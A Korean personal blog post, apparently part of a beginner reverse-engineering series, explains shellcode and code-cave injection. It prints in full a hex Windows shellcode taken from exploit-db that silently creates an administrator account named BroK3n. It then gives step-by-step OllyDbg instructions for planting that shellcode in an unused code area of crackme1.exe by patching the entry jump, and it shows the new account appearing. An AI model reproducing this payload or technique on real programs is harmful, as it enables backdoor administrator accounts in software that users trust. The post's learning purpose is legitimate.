외로운 Nova의 작업실

리버싱 입문 - 10(shellcode injection) 본문

Computer App Penetesting/Reversing

리버싱 입문 - 10(shellcode injection)

Nova_ 2022. 12. 22. 13:28

shellcode란 기계어로 만들어진 크기가 작은 코드로 운영체제의 명령 쉘을 이용한 코드입니다. 코드 인젝션 기술은 PE파일의 빈 공간에 셸코드를 입력해서 실행하게 만드는 해킹기술로 코드 케이브 기술을 활용해서 만들 수 있습니다. 저는 여기서 코드 인젝션이 코드케이블기술과 같다고 생각하여 코드 인젝션 공격이 있고, 어떤 코드를 심느냐에따라 달라진다고 생각합니다.  코드 인젝션 개념은 아래와 같습니다.

 

- 셸코드 예제

셸코드 예제는 아래 페이지에 들어가면 사용자(BroK3n)을 강제로 추가하는 기능을 가진 쉘코드가 있습니다. 아래 첨부하겠습니다.

https://www.exploit-db.com/exploits/33836

 

Windows - Add Administrator User (BroK3n/BroK3n) + Null-Free Shellcode (194 bytes)

Windows - Add Administrator User (BroK3n/BroK3n) + Null-Free Shellcode (194 bytes) EDB-ID: 33836 CVE: N/A Date: 2014-06-22

www.exploit-db.com

31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e57696e4575f28b7a2401c7668b2c6f8b7a1c01c78b7caffc01c7684b336e01682042726f682f414444686f727320687472617468696e6973682041646d68726f75706863616c676874206c6f6826206e656844442026686e202f4168726f4b3368336e20426842726f4b68736572206865742075682f63206e686578652068636d642e89e5fe4d5331c05055ffd7

이코드를 코드 인젝션을 통해 악성코드를 crackme1.exe에 심어보도록 하겠습니다.

 

- reversing

먼저 crackme1.exe를 올리디버거로 열어줍니다.

메모리맵을 열어 RE(읽고 실행가능)한 code 영역이 어디서부터 어딘지 봐봅니다.

00401000~00402000까지 인것으로 확인됩니다. 이중에 안쓰는 코드영역이 있는지 확인해봅시다.

사용하지 않는 코드중에서 0040106A부터 코드 인젝션에 사용해보도록 하겠습니다. 맨 위에 PUSH 0명령어를 JMP 0040106A로 변경해줍니다.

이후 0040106A에 이전의 명령어인 PUSH 0을 심어줍니다.

이제 그밑에 edit - Binary edit으로 HEX 부분에 오른쪽 마우스클릭 - paste를 눌러 SHELL 코드를 입력해줍니다.

이제 마지막에 00401002로 돌아가는 JMP문을 넣어줍니다.

저장하고 관리자 권한으로 실행해시켜보겠습니다.

이제 제어판 - 사용자계정 - 사용자계정 - 다른계정 관리에 들어가보면 계정이하나 생성되어있음을 알 수 있습니다.

Comments